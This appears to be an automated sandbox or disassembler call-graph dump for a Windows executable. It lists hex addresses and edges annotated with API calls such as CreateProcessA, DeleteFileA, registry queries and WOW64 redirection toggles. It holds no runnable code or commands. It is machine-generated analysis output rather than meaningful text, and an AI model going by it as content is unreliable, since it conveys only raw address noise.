6100->6101 6103 409eeb 6101->6103 6102->6091 6104 409eb5 6102->6104 6105 4066c0 19 API calls 6103->6105 6106 405864 19 API calls 6104->6106 6107 409efb 6105->6107 6106->6091 6108 406638 19 API calls 6107->6108 6109 409f0c 6108->6109 6110 403340 18 API calls 6109->6110 6111 409f1a 6110->6111 6112 4031e8 18 API calls 6111->6112 6113 409f2a 6112->6113 6114 4074e0 37 API calls 6113->6114 6115 409f69 6114->6115 6116 402594 18 API calls 6115->6116 6117 409f89 6116->6117 6118 407a28 19 API calls 6117->6118 6119 409fcb 6118->6119 6120 407cb8 35 API calls 6119->6120 6121 409ff2 6120->6121 6122->6094 6049 407548 6050 407554 CloseHandle 6049->6050 6051 40755d 6049->6051 6050->6051 6593 402b48 RaiseException 6052 407749 6053 4076dc WriteFile 6052->6053 6062 407724 6052->6062 6054 4076e8 6053->6054 6055 4076ef 6053->6055 6056 40748c 35 API calls 6054->6056 6057 407700 6055->6057 6058 4073ec 34 API calls 6055->6058 6056->6055 6058->6057 6059 4077e0 6060 4078db InterlockedExchange 6059->6060 6063 407890 6059->6063 6061 4078e7 6060->6061 6062->6052 6062->6059 6594 40294a 6597 402952 6594->6597 6595 403554 4 API calls 6595->6597 6596 402967 6597->6595 6597->6596 6598 403f4a 6599 403f53 6598->6599 6600 403f5c 6598->6600 6602 403f07 6599->6602 6605 403f09 6602->6605 6604 403f3c 6604->6600 6607 403154 4 API calls 6605->6607 6609 403e9c 6605->6609 6612 403f3d 6605->6612 6625 403e9c 6605->6625 6606 403ecf 6606->6600 6607->6605 6608 403ef2 6610 402674 4 API calls 6608->6610 6609->6604 6609->6608 6614 403ea9 6609->6614 6616 403e8e 6609->6616 6610->6606 6612->6600 6614->6606 6615 402674 4 API calls 6614->6615 6615->6606 6617 403e4c 6616->6617 6618 403e67 6617->6618 6619 403e62 6617->6619 6620 403e7b 6617->6620 6623 403e78 6618->6623 6624 402674 4 API calls 6618->6624 6622 403cc8 4 API calls 6619->6622 6621 402674 4 API calls 6620->6621 6621->6623 6622->6618 6623->6608 6623->6614 6624->6623 6626 403ed7 6625->6626 6632 403ea9 6625->6632 6628 403ef2 6626->6628 6630 403e8e 4 API calls 6626->6630 6627 403ecf 6627->6605 6629 402674 4 API calls 6628->6629 6629->6627 6631 403ee6 6630->6631 6631->6628 6631->6632 6632->6627 6633 402674 4 API calls 6632->6633 6633->6627 6123 403a52 6124 403a74 6123->6124 6125 403a5a WriteFile 6123->6125 6125->6124 6126 403a78 GetLastError 6125->6126 6126->6124 6127 402654 6128 403154 4 API calls 6127->6128 6129 402614 6128->6129 6130 402632 6129->6130 6131 403154 4 API calls 6129->6131 6130->6130 6131->6130 6642 405160 6643 405173 6642->6643 6644 404e58 33 API calls 6643->6644 6645 405187 6644->6645 5498 409e62 5499 409aa0 18 API calls 5498->5499 5500 409e67 5499->5500 5501 409e6c 5500->5501 5601 402f24 5500->5601 5535 4098f4 5501->5535 5504 409ec4 5540 4026c4 GetSystemTime 5504->5540 5506 409e71 5506->5504 5606 408dd8 5506->5606 5507 409ec9 5541 409330 5507->5541 5511 409ea0 5515 409ea8 MessageBoxA 5511->5515 5512 4031e8 18 API calls 5513 409ede 5512->5513 5559 406928 5513->5559 5515->5504 5517 409eb5 5515->5517 5609 405864 5517->5609 5522 409f0c 5586 403340 5522->5586 5524 409f1a 5525 4031e8 18 API calls 5524->5525 5526 409f2a 5525->5526 5527 4074e0 37 API calls 5526->5527 5528 409f69 5527->5528 5529 402594 18 API calls 5528->5529 5530 409f89 5529->5530 5531 407a28 19 API calls 5530->5531 5532 409fcb 5531->5532 5533 407cb8 35 API calls 5532->5533 5534 409ff2 5533->5534 5613 40953c 5535->5613 5540->5507 5558 409350 5541->5558 5544 409375 CreateDirectoryA 5545 4093ed 5544->5545 5546 40937f GetLastError 5544->5546 5547 40322c 4 API calls 5545->5547 5546->5558 5548 4093f7 5547->5548 5550 4031b8 4 API calls 5548->5550 5549 408dd8 18 API calls 5549->5558 5552 409411 5550->5552 5553 4031b8 4 API calls 5552->5553 5555 40941e 5553->5555 5554 407284 19 API calls 5554->5558 5555->5512 5557 405890 18 API calls 5557->5558 5558->5544 5558->5549 5558->5554 5558->5557 5705 406cf4 5558->5705 5728 409224 5558->5728 5747 404c94 5558->5747 5750 408da8 5558->5750 5860 406820 5559->5860 5562 403454 18 API calls 5563 40694a 5562->5563 5564 4066c0 5563->5564 5865 4068e4 5564->5865 5567 4066f0 5570 403340 18 API calls 5567->5570 5568 4066fe 5569 403454 18 API calls 5568->5569 5571 406711 5569->5571 5572 4066fc 5570->5572 5573 403340 18 API calls 5571->5573 5574 403198 4 API calls 5572->5574 5573->5572 5575 406733 5574->5575 5576 406638 5575->5576 5577 406642 5576->5577 5578 406665 5576->5578 5871 406950 5577->5871 5580 40322c 4 API calls 5578->5580 5582 40666e 5580->5582 5581 406649 5581->5578 5583 406654 5581->5583 5582->5522 5584 403340 18 API calls 5583->5584 5585 406662 5584->5585 5585->5522 5587 403344 5586->5587 5588 4033a5 5586->5588 5589 4031e8 5587->5589 5590 40334c 5587->5590 5591 4031fc 5589->5591 5594 403254 18 API calls 5589->5594 5590->5588 5593 4031e8 18 API calls 5590->5593 5596 40335b 5590->5596 5592 403228 5591->5592 5597 4025ac 4 API calls 5591->5597 5592->5524 5593->5596 5594->5591 5595 403254 18 API calls 5598 403375 5595->5598 5596->5595 5597->5592 5599 4031e8 18 API calls 5598->5599 5600 4033a1 5599->5600 5600->5524 5602 403154 4 API calls 5601->5602 5603 402f29 5602->5603 5877 402bcc 5603->5877 5605 402f51 5605->5605 5607 408da8 18 API calls 5606->5607 5608 408df4 5607->5608 5608->5511 5610 405869 5609->5610 5611 405940 19 API calls 5610->5611 5612 40587b 5611->5612 5612->5612 5620 40955b 5613->5620 5614 409590 5616 40959d GetUserDefaultLangID 5614->5616 5621 409592 5614->5621 5615 409594 5631 407024 GetModuleHandleA GetProcAddress 5615->5631 5616->5621 5619 40956f 5625 409884 5619->5625 5620->5614 5620->5615 5620->5619 5621->5619 5622 4095cb GetACP 5621->5622 5623 4095ef 5621->5623 5622->5619 5622->5621 5623->5619 5624 409615 GetACP 5623->5624 5624->5619 5624->5623 5626 40988c 5625->5626 5630 4098c6 5625->5630 5627 403420 18 API calls 5626->5627 5626->5630 5628 4098c0 5627->5628 5689 408e80 5628->5689 5630->5506 5632 407067 5631->5632 5633 40705e 5631->5633 5634 407070 5632->5634 5635 4070a8 5632->5635 5642 403198 4 API calls 5633->5642 5652 406f68 5634->5652 5637 406f68 RegOpenKeyExA 5635->5637 5640 4070c1 5637->5640 5638 407089 5639 4070de 5638->5639 5655 406f5c 5638->5655 5644 40322c 4 API calls 5639->5644 5640->5639 5643 406f5c 20 API calls 5640->5643 5646 407120 5642->5646 5647 4070d5 RegCloseKey 5643->5647 5648 4070eb 5644->5648 5649 403198 4 API calls 5646->5649 5647->5639 5658 4032fc 5648->5658 5651 407128 5649->5651 5651->5621 5653 406f73 5652->5653 5654 406f79 RegOpenKeyExA 5652->5654 5653->5654 5654->5638 5672 406e10 5655->5672 5659 403300 5658->5659 5660 40333f 5658->5660 5661 4031e8 5659->5661 5662 40330a 5659->5662 5660->5633 5668 403254 18 API calls 5661->5668 5669 4031fc 5661->5669 5663 403334 5662->5663 5664 40331d 5662->5664 5665 4034f0 18 API calls 5663->5665 5667 4034f0 18 API calls 5664->5667 5671 403322 5665->5671 5666 403228 5666->5633 5667->5671 5668->5669 5669->5666 5670 4025ac 4 API calls 5669->5670 5670->5666 5671->5633 5673 406e36 RegQueryValueExA 5672->5673 5674 406e7b 5673->5674 5679 406e59 5673->5679 5676 403198 4 API calls 5674->5676 5675 406e73 5677 403198 4 API calls 5675->5677 5678 406f47 RegCloseKey 5676->5678 5677->5674 5678->5639 5679->5674 5679->5675 5680 403278 18 API calls 5679->5680 5681 403420 18 API calls 5679->5681 5680->5679 5682 406eb0 RegQueryValueExA 5681->5682 5682->5673 5683 406ecc 5682->5683 5683->5674 5684 4034f0 18 API calls 5683->5684 5685 406f0e 5684->5685 5686 406f20 5685->5686 5688 403420 18 API calls 5685->5688 5687 4031e8 18 API calls 5686->5687 5687->5674 5688->5686 5690 408e8e 5689->5690 5692 408ea6 5690->5692 5702 408e18 5690->5702 5693 408e18 18 API calls 5692->5693 5694 408eca 5692->5694 5693->5694 5695 407918 InterlockedExchange 5694->5695 5696 408ee5 5695->5696 5697 408e18 18 API calls 5696->5697 5699 408ef8 5696->5699 5697->5699 5698 408e18 18 API calls 5698->5699 5699->5698 5700 403278 18 API calls 5699->5700 5701 408f27 5699->5701 5700->5699 5701->5630 5703 405890 18 API calls 5702->5703 5704 408e29 5703->5704 5704->5692 5754 406a58 5705->5754 5708 406d26 5709 406a58 19 API calls 5708->5709 5712 406d72 5708->5712 5711 406d36 5709->5711 5714 406a34 21 API calls 5711->5714 5716 406d42 5711->5716 5762 406888 5712->5762 5714->5716 5715 406d67 5715->5712 5774 406cc8 GetWindowsDirectoryA 5715->5774 5716->5712 5716->5715 5718 406a58 19 API calls 5716->5718 5721 406d5b 5718->5721 5720 406638 19 API calls 5722 406d87 5720->5722 5721->5715 5724 406a34 21 API calls 5721->5724 5723 40322c 4 API calls 5722->5723 5725 406d91 5723->5725 5724->5715 5726 4031b8 4 API calls 5725->5726 5727 406dab 5726->5727 5727->5558 5729 409244 5728->5729 5730 406638 19 API calls 5729->5730 5731 40925d 5730->5731 5732 40322c 4 API calls 5731->5732 5733 409268 5732->5733 5734 406978 20 API calls 5733->5734 5736 408dd8 18 API calls 5733->5736 5737 4033b4 18 API calls 5733->5737 5738 405890 18 API calls 5733->5738 5740 4092e4 5733->5740 5814 4091b0 5733->5814 5822 409034 5733->5822 5734->5733 5736->5733 5737->5733 5738->5733 5741 40322c 4 API calls 5740->5741 5742 4092ef 5741->5742 5743 4031b8 4 API calls 5742->5743 5744 409309 5743->5744 5745 403198 4 API calls 5744->5745 5746 409311 5745->5746 5746->5558 5748 4051a8 33 API calls 5747->5748 5749 404cb2 5748->5749 5749->5558 5751 408dc8 5750->5751 5850 408c80 5751->5850 5755 4034f0 18 API calls 5754->5755 5757 406a6b 5755->5757 5756 406a82 GetEnvironmentVariableA 5756->5757 5758 406a8e 5756->5758 5757->5756 5761 406a95 5757->5761 5776 406dec 5757->5776 5760 403198 4 API calls 5758->5760 5760->5761 5761->5708 5771 406a34 5761->5771 5763 403414 5762->5763 5764 4068ab GetFullPathNameA 5763->5764 5765 4068b7 5764->5765 5766 4068ce 5764->5766 5765->5766 5767 4068bf 5765->5767 5768 40322c 4 API calls 5766->5768 5769 403278 18 API calls 5767->5769 5770 4068cc 5768->5770 5769->5770 5770->5720 5780 4069dc 5771->5780 5775 406ce9 5774->5775 5775->5712 5777 406dfa 5776->5777 5778 4034f0 18 API calls 5777->5778 5779 406e08 5778->5779 5779->5757 5787 406978 5780->5787 5782 4069fe 5783 406a06 GetFileAttributesA 5782->5783 5784 406a1b 5783->5784 5785 403198 4 API calls 5784->5785 5786 406a23 5785->5786 5786->5708 5797 406744 5787->5797 5789 4069b0 5791 4069c6 5789->5791 5792 4069bb 5789->5792 5805 403454 5791->5805 5794 40322c 4 API calls 5792->5794 5793 406989 5793->5789 5804 406970 CharPrevA 5793->5804 5796 4069c4 5794->5796 5796->5782 5800 406755 5797->5800 5798 4067b9 5799 406680 IsDBCSLeadByte 5798->5799 5801 4067b4 5798->5801 5799->5801 5800->5798 5802 406773 5800->5802 5801->5793 5802->5801 5812 406680 IsDBCSLeadByte 5802->5812 5804->5793 5806 403486 5805->5806 5808 403459 5805->5808 5807 403198 4 API calls 5806->5807 5809 40347c 5807->5809 5808->5806 5810 40346d 5808->5810 5809->5796 5811 403278 18 API calls 5810->5811 5811->5809 5813 406694 5812->5813 5813->5802 5815 403198 4 API calls 5814->5815 5817 4091d1 5815->5817 5819 4091fe 5817->5819 5831 4032a8 5817->5831 5834 403494 5817->5834 5820 403198 4 API calls 5819->5820 5821 409213 5820->5821 5821->5733 5838 408f70 5822->5838 5824 40904a 5825 40904e 5824->5825 5844 406a48 5824->5844 5825->5733 5828 409081 5847 408fac 5828->5847 5832 403278 18 API calls 5831->5832 5833 4032b5 5832->5833 5833->5817 5835 403498 5834->5835 5836 4034c3 5834->5836 5837 4034f0 18 API calls 5835->5837 5836->5817 5837->5836 5839 408f7a 5838->5839 5840 408f7e 5838->5840 5839->5824 5841 408fa0 SetLastError 5840->5841 5842 408f87 Wow64DisableWow64FsRedirection 5840->5842 5843 408f9b 5841->5843 5842->5843 5843->5824 5845 4069dc 21 API calls 5844->5845 5846 406a52 GetLastError 5845->5846 5846->5828 5848 408fb1 Wow64RevertWow64FsRedirection 5847->5848 5849 408fbb 5847->5849 5848->5849 5849->5733 5851 403198 4 API calls 5850->5851 5859 408cb1 5850->5859 5851->5859 5852 408cdc 5853 4031b8 4 API calls 5852->5853 5854 408d69 5853->5854 5854->5558 5855 408cc8 5857 4032fc 18 API calls 5855->5857 5856 403278 18 API calls 5856->5859 5857->5852 5858 4032fc 18 API calls 5858->5859 5859->5852 5859->5855 5859->5856 5859->5858 5861 406744 IsDBCSLeadByte 5860->5861 5863 406835 5861->5863 5862 40687f 5862->5562 5863->5862 5864 406680 IsDBCSLeadByte 5863->5864 5864->5863 5866 4068f3 5865->5866 5867 406820 IsDBCSLeadByte 5866->5867 5870 4068fe 5867->5870 5868 4066ea 5868->5567 5868->5568 5869 406680 IsDBCSLeadByte 5869->5870 5870->5868 5870->5869 5872 406957 5871->5872 5873 40695b 5871->5873 5872->5581 5876 406970 CharPrevA 5873->5876 5875 40696c 5875->5581 5876->5875 5878 402bd5 RaiseException 5877->5878 5879 402be6 5877->5879 5878->5879 5879->5605 6132 402e64 6133 402e69 6132->6133 6134 402e7a RtlUnwind 6133->6134 6135 402e5e 6133->6135 6136 402e9d 6134->6136 6149 40667c IsDBCSLeadByte 6150 406694 6149->6150 6658 403f7d 6659 403fa2 6658->6659 6661 403f84 6658->6661 6659->6661 6662 403e8e 4 API calls 6659->6662 6660 403f8c 6661->6660 6663 402674 4 API calls 6661->6663 6662->6661 6664 403fca 6663->6664 6671 403d02 6673 403d12 6671->6673 6672 403ddf ExitProcess 6673->6672 6674 403db8 6673->6674 6676 403dea 6673->6676 6681 403da4 6673->6681 6682 403d8f MessageBoxA 6673->6682 6675 403cc8 4 API calls 6674->6675 6677 403dc2 6675->6677 6678 403cc8 4 API calls 6677->6678 6679 403dcc 6678->6679 6691 4019dc 6679->6691 6687 403fe4 6681->6687 6682->6674 6683 403dd1 6683->6672 6683->6676 6688 403fe8 6687->6688 6689 403f07 4 API calls 6688->6689 6690 404006 6689->6690 6692 401abb 6691->6692 6693 4019ed 6691->6693 6692->6683 6694 401a04 RtlEnterCriticalSection 6693->6694 6695 401a0e LocalFree 6693->6695 6694->6695 6696 401a41 6695->6696 6697 401a2f VirtualFree 6696->6697 6698 401a49 6696->6698 6697->6696 6699 401a70 LocalFree 6698->6699 6700 401a87 6698->6700 6699->6699 6699->6700 6701 401aa9 RtlDeleteCriticalSection 6700->6701 6702 401a9f RtlLeaveCriticalSection 6700->6702 6701->6683 6702->6701 6155 404206 6156 4041cc 6155->6156 6159 40420a 6155->6159 6157 404282 6158 403154 4 API calls 6160 404323 6158->6160 6159->6157 6159->6158 6161 402c08 6164 402c82 6161->6164 6165 402c19 6161->6165 6162 402c56 RtlUnwind 6163 403154 4 API calls 6162->6163 6163->6164 6165->6162 6165->6164 6168 402b28 6165->6168 6169 402b31 RaiseException 6168->6169 6170 402b47 6168->6170 6169->6170 6170->6162 6171 408c10 6172 408c17 6171->6172 6173 403198 4 API calls 6172->6173 6181 408cb1 6173->6181 6174 408cdc 6175 4031b8 4 API calls 6174->6175 6176 408d69 6175->6176 6177 408cc8 6179 4032fc 18 API calls 6177->6179 6178 403278 18 API calls 6178->6181 6179->6174 6180 4032fc 18 API calls 6180->6181 6181->6174 6181->6177 6181->6178 6181->6180 6182 40a011 6183 40a036 6182->6183 6184 407918 InterlockedExchange 6183->6184 6185 40a060 6184->6185 6186 40a070 6185->6186 6187 409aa0 18 API calls 6185->6187 6192 4076ac SetEndOfFile 6186->6192 6187->6186 6189 40a08c 6190 4025ac 4 API calls 6189->6190 6191 40a0c3 6190->6191 6193 4076c3 6192->6193 6194 4076bc 6192->6194 6193->6189 6195 40748c 35 API calls 6194->6195 6195->6193 6703 409916 6705 409918 6703->6705 6704 40993a 6705->6704 6706 409956 CallWindowProcA 6705->6706 6706->6704 5931 407017 5932 407008 SetErrorMode 5931->5932 6200 403018 6201 403070 6200->6201 6202 403025 6200->6202 6203 40302a RtlUnwind 6202->6203 6204 40304e 6203->6204 6206 402f78 6204->6206 6207 402be8 6204->6207 6208 402bf1 RaiseException 6207->6208 6209 402c04 6207->6209 6208->6209 6209->6201 6713 409918 6714 40993a 6713->6714 6716 409927 6713->6716 6715 409956 CallWindowProcA 6715->6714 6716->6714 6716->6715 6214 40901e 6215 409010 6214->6215 6216 408fac Wow64RevertWow64FsRedirection 6215->6216 6217 409018 6216->6217 6218 409020 SetLastError 6219 409029 6218->6219 6234 403a28 ReadFile 6235 403a46 6234->6235 6236 403a49 GetLastError 6234->6236 6069 40762c ReadFile 6070 407663 6069->6070 6071 40764c 6069->6071 6072 407652 GetLastError 6071->6072 6073 40765c 6071->6073 6072->6070 6072->6073 6074 40748c 35 API calls 6073->6074 6074->6070 6241 40a02c 6242 409aa0 18 API calls 6241->6242 6243 40a031 6242->6243 6244 40a036 6243->6244 6245 402f24 5 API calls 6243->6245 6246 407918 InterlockedExchange 6244->6246 6245->6244 6247 40a060 6246->6247 6248 40a070 6247->6248 6249 409aa0 18 API calls 6247->6249 6250 4076ac 36 API calls 6248->6250 6249->6248 6251 40a08c 6250->6251 6252 4025ac 4 API calls 6251->6252 6253 40a0c3 6252->6253 6721 40712e 6722 407118 6721->6722 6723 403198 4 API calls 6722->6723 6724 407120 6723->6724 6725 403198 4 API calls 6724->6725 6726 407128 6725->6726 6727 408f30 6730 408dfc 6727->6730 6731 408e05 6730->6731 6732 403198 4 API calls 6731->6732 6733 408e13 6731->6733 6732->6731 6734 403932 6735 403924 6734->6735 6738 40374c 6735->6738 6737 40392c 6739 403759 6738->6739 6740 403766 6738->6740 6739->6740 6741 403779 VariantClear 6739->6741 6740->6737 6741->6737 5880 4075c4 SetFilePointer 5881 4075f7 5880->5881 5882 4075e7 GetLastError 5880->5882 5882->5881 5883 4075f0 5882->5883 5884 40748c 35 API calls 5883->5884 5884->5881 6254 4076c8 WriteFile 6255 4076e8 6254->6255 6256 4076ef 6254->6256 6257 40748c 35 API calls 6255->6257 6258 407700 6256->6258 6259 4073ec 34 API calls 6256->6259 6257->6256 6259->6258 6260 40a2ca 6269 4096fc 6260->6269 6263 402f24 5 API calls 6264 40a2d4 6263->6264 6265 403198 4 API calls 6264->6265 6266 40a2f3 6265->6266 6267 403198 4 API calls 6266->6267 6268 40a2fb 6267->6268 6278 4056ac 6269->6278 6271 409745 6274 403198 4 API calls 6271->6274 6272 409717 6272->6271 6284 40720c 6272->6284 6276 40975a 6274->6276 6275 409735 6277 40973d MessageBoxA 6275->6277 6276->6263 6277->6271 6279 403154 4 API calls 6278->6279 6280 4056b1 6279->6280 6281 4056c9 6280->6281 6282 403154 4 API calls 6280->6282 6281->6272 6283 4056bf 6282->6283 6283->6272 6285 4056ac 4 API calls 6284->6285 6286 40721b 6285->6286 6287 407221 6286->6287 6288 40722f 6286->6288 6289 40322c 4 API calls 6287->6289 6291 40724b 6288->6291 6292 40723f 6288->6292 6290 40722d 6289->6290 6290->6275 6302 4032b8 6291->6302 6295 4071d0 6292->6295 6296 40322c 4 API calls 6295->6296 6297 4071df 6296->6297 6298 4071fc 6297->6298 6299 406950 CharPrevA 6297->6299 6298->6290 6300 4071eb 6299->6300 6300->6298 6301 4032fc 18 API calls 6300->6301 6301->6298 6303 403278 18 API calls 6302->6303 6304 4032c2 6303->6304 6304->6290 6305 402ccc 6308 402cfe 6305->6308 6310 402cdd 6305->6310 6306 402d88 RtlUnwind 6307 403154 4 API calls 6306->6307 6307->6308 6309 402b28 RaiseException 6311 402d7f 6309->6311 6310->6306 6310->6308 6310->6309 6311->6306 6750 403fcd 6751 403f07 4 API calls 6750->6751 6752 403fd6 6751->6752 6753 403e9c 4 API calls 6752->6753 6754 403fe2 6753->6754 6312 4024d0 6313 4024e4 6312->6313 6314 4024e9 6312->6314 6317 401918 4 API calls 6313->6317 6315 402518 6314->6315 6316 40250e RtlEnterCriticalSection 6314->6316 6319 4024ed 6314->6319 6327 402300 6315->6327 6316->6315 6317->6314 6321 402525 6323 402581 6321->6323 6324 402577 RtlLeaveCriticalSection 6321->6324 6322 401fd4 14 API calls 6325 402531 6322->6325 6324->6323 6325->6321 6337 40215c 6325->6337 6328 402314 6327->6328 6330 402335 6328->6330 6331 4023b8 6328->6331 6329 402344 6329->6321 6329->6322 6330->6329 6351 401b74 6330->6351 6331->6329 6335 402455 6331->6335 6354 401d80 6331->6354 6358 401e84 6331->6358 6335->6329 6336 401d00 9 API calls 6335->6336 6336->6329 6338 40217a 6337->6338 6339 402175 6337->6339 6341 4021ab RtlEnterCriticalSection 6338->6341 6343 4021b5 6338->6343 6345 40217e 6338->6345 6340 401918 4 API calls 6339->6340 6340->6338 6341->6343 6342 4021c1 6346 4022e3 RtlLeaveCriticalSection 6342->6346 6347 4022ed 6342->6347 6343->6342 6344 402244 6343->6344 6349 402270 6343->6349 6344->6345 6348 401d80 7 API calls 6344->6348 6345->6321 6346->6347 6347->6321 6348->6345 6349->6342 6350 401d00 7 API calls 6349->6350 6350->6342 6352 40215c 9 API calls 6351->6352 6353 401b95 6352->6353 6353->6329 6355 401d92 6354->6355 6356 401d89 6354->6356 6355->6331 6356->6355 6357 401b74 9 API calls 6356->6357 6357->6355 6363 401768 6358->6363 6360 401e99 6361 401ea6 6360->6361 6374 401dcc 6360->6374 6361->6331 6365 401787 6363->6365 6364 401494 LocalAlloc VirtualAlloc VirtualAlloc VirtualFree 6364->6365 6365->6364 6366 40183b 6365->6366 6368 40132c LocalAlloc 6365->6368 6369 401821 6365->6369 6370 4017d6 6365->6370 6371 4017e7 6366->6371 6385 4015c4 6366->6385 6368->6365 6372 40150c VirtualFree 6369->6372 6381 40150c 6370->6381 6371->6360 6372->6371 6375 401d80 9 API calls 6374->6375 6376 401de0 6375->6376 6389 40132c 6376->6389 6378 401df0 6379 401df8 6378->6379 6393 401b44 6378->6393 6379->6361 6384 40153b 6381->6384 6382 401594 6382->6371 6383 401568 VirtualFree 6383->6384 6384->6382 6384->6383 6386 40160a 6385->6386 6387 401626 VirtualAlloc 6386->6387 6388 40163a 6386->6388 6387->6386 6387->6388 6388->6371 6390 401348 6389->6390 6398 4012e4 6390->6398 6394 401b61 6393->6394 6395 401b52 6393->6395 6394->6379 6396 401d00 9 API calls 6395->6396 6397 401b5f 6396->6397 6397->6379 6401 40128c 6398->6401 6402 401298 LocalAlloc 6401->6402 6403 4012aa 6401->6403 6402->6403 6403->6378 6404 4028d2 6405 4028da 6404->6405 6406 403554 4 API calls 6405->6406 6407 4028ef 6405->6407 6406->6405 6408 4025ac 4 API calls 6407->6408 6409 4028f4 6408->6409 6755 4019d3 6756 4019ba 6755->6756 6757 4019c3 RtlLeaveCriticalSection 6756->6757 6758 4019cd 6756->6758 6757->6758 5885 407fd4 5886 407fe6 5885->5886 5888 407fed 5885->5888 5896 407f10 5886->5896 5889 408017 5888->5889 5890 408021 5888->5890 5893 408015 5888->5893 5907 407d7c 5889->5907 5891 40804e 5890->5891 5892 407d7c 33 API calls 5890->5892 5892->5891 5910 407e2c 5893->5910 5897 407f25 5896->5897 5898 407d7c 33 API calls 5897->5898 5899 407f34 5897->5899 5898->5899 5900 407f6e 5899->5900 5901 407d7c 33 API calls 5899->5901 5902 407f82 5900->5902 5903 407d7c 33 API calls 5900->5903 5901->5900 5906 407fae 5902->5906 5917 407eb8 5902->5917 5903->5902 5906->5888 5920 4058c4 5907->5920 5909 407d9e 5909->5890 5911 405194 33 API calls 5910->5911 5912 407e57 5911->5912 5928 407de4 5912->5928 5914 407e5f 5915 403198 4 API calls 5914->5915 5916 407e74 5915->5916 5916->5890 5918 407ec7 VirtualFree 5917->5918 5919 407ed9 VirtualAlloc 5917->5919 5918->5919 5919->5906 5921 4058d0 5920->5921 5922 405194 33 API calls 5921->5922 5923 4058fd 5922->5923 5924 4031e8 18 API calls 5923->5924 5925 405908 5924->5925 5926 403198 4 API calls 5925->5926 5927 40591d 5926->5927 5927->5909 5929 4058c4 33 API calls 5928->5929 5930 407e06 5929->5930 5930->5914 6414 405ad4 6415 405adc 6414->6415 6419 405ae4 6414->6419 6416 405aeb 6415->6416 6417 405ae2 6415->6417 6418 405940 19 API calls 6416->6418 6421 405a4c 6417->6421 6418->6419 6422 405a54 6421->6422 6423 405a6e 6422->6423 6424 403154 4 API calls 6422->6424 6425 405a73 6423->6425 6426 405a8a 6423->6426 6424->6422 6427 405940 19 API calls 6425->6427 6428 403154 4 API calls 6426->6428 6429 405a86 6427->6429 6430 405a8f 6428->6430 6432 403154 4 API calls 6429->6432 6431 4059b0 33 API calls 6430->6431 6431->6429 6433 405ab8 6432->6433 6434 403154 4 API calls 6433->6434 6435 405ac6 6434->6435 6435->6419 6436 40a0d5 6437 40a105 6436->6437 6438 40a10f CreateWindowExA SetWindowLongA 6437->6438 6439 405194 33 API calls 6438->6439 6440 40a192 6439->6440 6441 4032fc 18 API calls 6440->6441 6442 40a1a0 6441->6442 6443 4032fc 18 API calls 6442->6443 6444 40a1ad 6443->6444 6445 406b7c 19 API calls 6444->6445 6446 40a1b9 6445->6446 6447 4032fc 18 API calls 6446->6447 6448 40a1c2 6447->6448 6449 4099a4 43 API calls 6448->6449 6450 40a1d4 6449->6450 6451 409884 19 API calls 6450->6451 6452 40a1e7 6450->6452 6451->6452 6453 40a220 6452->6453 6454 4094d8 9 API calls 6452->6454 6455 40a239 6453->6455 6458 40a233 RemoveDirectoryA 6453->6458 6454->6453 6456 40a242 DestroyWindow 6455->6456 6457 40a24d 6455->6457 6456->6457 6459 40a275 6457->6459 6460 40357c 4 API calls 6457->6460 6458->6455 6461 40a26b 6460->6461 6462 4025ac 4 API calls 6461->6462 6462->6459 5933 40a0e7 5934 40a0eb SetLastError 5933->5934 5965 409648 GetLastError 5934->5965 5937 40a105 5939 40a10f CreateWindowExA SetWindowLongA 5937->5939 5938 402f24 5 API calls 5938->5937 5940 405194 33 API calls 5939->5940 5941 40a192 5940->5941 5942 4032fc 18 API calls 5941->5942 5943 40a1a0 5942->5943 5944 4032fc 18 API calls 5943->5944 5945 40a1ad 5944->5945 5978 406b7c GetCommandLineA 5945->5978 5948 4032fc 18 API calls 5949 40a1c2 5948->5949 5983 4099a4 5949->5983 5952 409884 19 API calls 5953 40a1e7 5952->5953 5954 40a220 5953->5954 5955 40a207 5953->5955 5957 40a239 5954->5957 5960 40a233 RemoveDirectoryA 5954->5960 5999 4094d8 5955->5999 5958 40a242 DestroyWindow 5957->5958 5959 40a24d 5957->5959 5958->5959 5961 40a275 5959->5961 6007 40357c 5959->6007 5960->5957 5963 40a26b 5964 4025ac 4 API calls 5963->5964 5964->5961 5966 404c94 33 API calls 5965->5966 5967 40968f 5966->5967 5968 407284 19 API calls 5967->5968 5969 40969f 5968->5969 5970 408da8 18 API calls 5969->5970 5971 4096b4 5970->5971 5972 405890 18 API calls 5971->5972 5973 4096c3 5972->5973 5974 4031b8 4 API calls 5973->5974 5975 4096e2 5974->5975 5976 403198 4 API calls 5975->5976 5977 4096ea 5976->5977 5977->5937 5977->5938 5979 406af0 18 API calls 5978->5979 5980 406ba1 5979->5980 5981 403198 4 API calls 5980->5981 5982 406bbf 5981->5982 5982->5948 5984 4033b4 18 API calls 5983->5984 5985 4099df 5984->5985 5986 409a11 CreateProcessA 5985->5986 5987 409a24 CloseHandle 5986->5987 5988 409a1d 5986->5988 5990 409a2d 5987->5990 5989 409648 35 API calls 5988->5989 5989->5987 6020 409978 5990->6020 5993 409a49 5994 409978 3 API calls 5993->5994 5995 409a4e GetExitCodeProcess CloseHandle 5994->5995 5996 409a6e 5995->5996 5997 403198 4 API calls 5996->5997 5998 409a76 5997->5998 5998->5952 5998->5953 6000 409532 5999->6000 6002 4094eb 5999->6002 6000->5954 6001 4094f3 Sleep 6001->6002 6002->6000 6002->6001 6003 409503 Sleep 6002->6003 6005 40951a GetLastError 6002->6005 6024 408fbc 6002->6024 6003->6002 6005->6000 6006 409524 GetLastError 6005->6006 6006->6000 6006->6002 6008 4035a0 6007->6008 6009 403591 6007->6009 6010 4035b1 6008->6010 6011 4035b8 6008->6011 6014 4035d0 6009->6014 6015 40359b 6009->6015 6016 4035b6 6009->6016 6012 403198 4 API calls 6010->6012 6013 4031b8 4 API calls 6011->6013 6012->6016 6013->6016 6014->6016 6018 40357c 4 API calls 6014->6018 6015->6008 6017 4035ec 6015->6017 6016->5963 6017->6016 6032 403554 6017->6032 6018->6014 6021 40998c PeekMessageA 6020->6021 6022 409980 TranslateMessage DispatchMessageA 6021->6022 6023 40999e MsgWaitForMultipleObjects 6021->6023 6022->6021 6023->5990 6023->5993 6025 408f70 2 API calls 6024->6025 6026 408fd2 6025->6026 6027 408fd6 6026->6027 6028 408ff2 DeleteFileA GetLastError 6026->6028 6027->6002 6029 409010 6028->6029 6030 408fac Wow64RevertWow64FsRedirection 6029->6030 6031 409018 6030->6031 6031->6002 6033 403566 6032->6033 6035 403578 6033->6035 6036 403604 6033->6036 6035->6017 6037 40357c 6036->6037 6038 4035a0 6037->6038 6039 4035b6 6037->6039 6044 40359b 6037->6044 6047 4035d0 